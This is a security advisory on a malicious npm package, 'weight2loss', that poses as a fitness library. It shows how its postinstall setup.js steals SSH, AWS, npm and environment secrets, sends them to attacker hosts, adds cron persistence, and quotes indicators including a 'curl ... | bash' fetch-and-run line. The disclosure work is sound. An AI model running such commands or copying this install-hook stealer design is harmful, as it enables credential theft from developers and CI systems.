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GCVE-110-OSM-2026-9994
GCVE-110-OSM-2026-9994
Advisory PublishedCVSS 9.6/10
In the setup.js at the top of the file, it states clearly:
MALWARE CODE - DO NOT USE MALICIOUSLY
This is for educational/security research purposes only
But then, it really is an install-time credential stealer and loader aimed at developers and CI environments: the attacker model is a supply-chain compromise that triggers on `postinstall` and harvests secrets from the host. The `setup.js` payload explicitly reads `.npmrc`, `~/.ssh/*`, `.gitconfig`, `.aws/*`, and `process.env`, then sends the data to `https://news.reimbursor.info` and `attacker.com` via `curl` and `execSync`. It also drops persistence with `crontab -`, fetches and executes remote scripts (`miner.sh`, `backdoor.sh`), and hides execution with `stdio: 'ignore'`, which is consistent with malware rather than a fitness analytics library. The publisher history (`publisherMaliciousRatio` 0.5 and prior malicious packages `qa-report-collector-global` and `sys-diagnostics-tool`) further corroborates deliberate malicious activity.
ENTRY
index.js (main: index.js)
- Install Hook Executes Local JS File in package.json: ""postinstall": "node setup.js""
PERSISTENCE
- Cron Job Persistence in setup.js: "crontab -"
DESTINATION
- 8 exfil (custom-c2)
(values recorded in verified_iocs)
EXFIL
- Environment Variable Exfiltration in setup.js: "JSON.stringify(process.env)"
- Data Encoding for Exfiltration in setup.js: "Buffer.from(textData).toString('base64')"
- Git Configuration Access in setup.js: ".gitconfig"
- Curl/Wget Pipe to Shell in setup.js: "curl http://attacker.com/miner.sh 2>/dev/null | bash"
- System Information Collection in setup.js: "os.userInfo()"
ADDITIONAL FINDINGS
- Shell Command Execution in setup.js: "execSync("
- Silent Process Execution in setup.js: "stdio: 'ignore'"
- Brand New Package
- Very New NPM Publisher Account
- Publisher Has Other Malicious Packages
PAYLOAD FILES
setup.js
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | weight2loss | all (affected) | — |
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